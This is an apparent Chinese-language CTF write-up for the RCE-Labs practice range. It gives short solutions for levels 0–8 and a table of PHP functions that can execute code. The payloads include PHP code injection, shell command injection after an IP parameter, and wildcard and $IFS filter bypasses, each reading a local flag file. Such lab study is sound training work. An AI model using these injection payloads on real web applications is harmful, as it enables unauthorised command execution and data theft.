靶场 | 5 分钟
RCE Labs Writeup
十一月 17, 2025
RCE

BUU打不开了,只能来刷其他的,本想刷CryptoHACK,但是那个貌似有点难,密码我还是不太懂。

很早以前就在各种CTF群见过探姬,我一直以为 Tā 是二次元,但没想到 Tā 还女装,推特很多图。至于是不是男娘不知道。

Tā 课讲得很不错,CTF办赛、授课、靶场做得都很好。

【RCE-Labs】就是探姬做的命令执行靶场,同类的还有 【PHPSerialize-labs】PHP反序列化、【PHPinclude-labs】PHP文件包含,规划中的【PHPFeature-labs】PHP特性、【Nodejs-labs】原型链污染;Misc有【n3tfl0w-labs】流量分析、【Steg-labs】隐写

考察点很全,配套的CTF学习网站是:Hello CTF,本套靶场的仓库也是有wp的:GitHub - ProbiusOfficial/RCE-labs: 【Hello-CTF labs】一个想帮你收集所有RCE技巧的靶场。

不想部署的话,可以用网上已部署的靶场:

已创建好合集的是CTFPLUS和CMP,这里我采用CMP

RCELABS-0:代码执行&命令执行

打开就是flag

RCELABS-1

uri
1a=system('cat /flag');

RCELABS-2

随机抽函数,来调用content,这里写一个,然后一直发包,直到某个函数能够匹配上。

uri
1/?action=submit
2
3
4post:
5content='echo $flag;'

PHP 代码执行相关函数

函数说明示例代码
${}用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合 eval 或其他动态执行代码的功能,用于间接执行代码。eval('${flag}');
eval()用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。eval('echo $flag;');
assert()测试表达式是否为真。PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。
PHP 8.0.0 后移除该功能。
assert(print_r($flag));
call_user_func()用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。call_user_func('print_r', $flag);
create_function()创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。
自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除
create_function('$a', 'echo $flag;')($a);
array_map()将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。array_map(print_r($flag), $a);
call_user_func_array()调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。call_user_func_array(print_r($flag), array());
usort()对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。usort($a,print_r($flag));
array_filter()过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。array_filter($a,print_r($flag));
array_reduce()迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。array_reduce($a,print_r($flag));
preg_replace()执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。
依赖 /e 模式,该模式自 PHP7.3 起被取消。
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)});
ob_start()ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。ob_start(print_r($flag));

RCELABS-3

POST: a=cat /flag

RCELABS-4

uri
1/?ip=127.0.0.1;cat /flag

RCELABS-5

uri
1/?cmd=cat /fl?g

RCELABS-6

1/?cmd=/???/?a??64 /??a?

RCELABS-7

uri
1/?cmd=cat$IFS/fl?g

RCELABS-8

1/?cmd=cat /flag;